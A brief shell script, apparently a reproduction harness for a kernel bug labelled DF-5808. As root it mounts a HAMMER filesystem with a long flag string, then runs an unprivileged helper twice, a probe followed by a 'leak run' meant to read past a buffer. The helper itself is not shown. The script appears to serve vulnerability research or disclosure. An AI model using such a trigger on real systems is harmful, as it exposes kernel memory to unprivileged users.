#!/bin/sh
# DF-5808 run (see VERDICT.md for preconditions)
cd "$(dirname "$0")"
#!/bin/sh
# (root) hammer1 mount with long visible flag string, then unpriv trigger
mount -t hammer -o ro,noexec,nosuid,nodev,nosymfollow,noatime,noclusterr,noclusterw /dev/vn1 /mnt/h
# (user)
/tmp/mctl2 /mnt/h 1024 1    # probe: note strlen S
/tmp/mctl2 /mnt/h $((S+1)) 3  # leak run: ret == 2*S